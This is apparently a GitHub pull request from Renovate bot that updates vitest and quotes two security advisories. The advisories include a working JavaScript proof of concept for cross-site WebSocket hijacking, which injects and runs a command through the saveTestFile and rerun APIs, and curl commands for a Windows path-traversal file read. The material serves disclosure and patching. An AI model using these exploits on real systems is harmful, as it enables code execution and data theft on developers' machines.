Skip to content

chore(deps): update dependency vitest to v3.2.6 [security]#122

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-vitest-vulnerability
Open

chore(deps): update dependency vitest to v3.2.6 [security]#122
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 4, 2025

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 3.2.43.2.6 age confidence
vitest (source) ^1.0.0^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from dca566b to 74c64ed Compare February 9, 2025 14:51
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 74c64ed to 81d68c9 Compare March 3, 2025 16:42
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 81d68c9 to 98adab1 Compare March 11, 2025 12:16
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 1592016 to d0ddbb1 Compare April 8, 2025 10:47
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d0ddbb1 to ebf10e7 Compare April 24, 2025 09:04
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ebf10e7 to a3414ab Compare May 19, 2025 18:22
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a3414ab to 532ceca Compare May 28, 2025 07:25
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 532ceca to cd1221b Compare June 4, 2025 10:55
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from cd1221b to fd44f39 Compare June 22, 2025 13:53
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from fd44f39 to fe2a249 Compare July 2, 2025 13:57
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 126c169 to f071ad7 Compare July 19, 2025 15:16
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from f071ad7 to 90105e0 Compare August 10, 2025 14:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 90105e0 to 5910ca0 Compare August 31, 2025 09:54
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5910ca0 to b6cbdc4 Compare September 25, 2025 15:53
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b6cbdc4 to ec4bc4c Compare October 21, 2025 11:51
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ec4bc4c to ae2c6b8 Compare November 10, 2025 19:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ae2c6b8 to 9d5c803 Compare November 18, 2025 22:59
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9d5c803 to c6e1712 Compare December 31, 2025 14:38
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c6e1712 to e7748f7 Compare January 8, 2026 18:43
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e7748f7 to 435de42 Compare January 19, 2026 17:40
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 435de42 to 911985b Compare February 12, 2026 17:37
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 911985b to 6d8b66c Compare March 5, 2026 15:17
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 01:30
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed chore(deps): update dependency vitest to v1.6.1 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 6d8b66c to 68d5ca1 Compare March 30, 2026 22:30
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] - autoclosed chore(deps): update dependency vitest to v1.6.1 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from cea0a38 to 997ae82 Compare April 29, 2026 14:03
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 997ae82 to 14ef983 Compare June 1, 2026 20:38
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v4 [security] Jun 1, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 14ef983 to c7e61c2 Compare June 8, 2026 16:32
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v4 [security] chore(deps): update dependency vitest to v1.6.1 [security] Jun 8, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c7e61c2 to 854092d Compare June 8, 2026 22:51
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v3.2.6 [security] Jun 8, 2026
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 854092d to adf313f Compare June 11, 2026 11:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants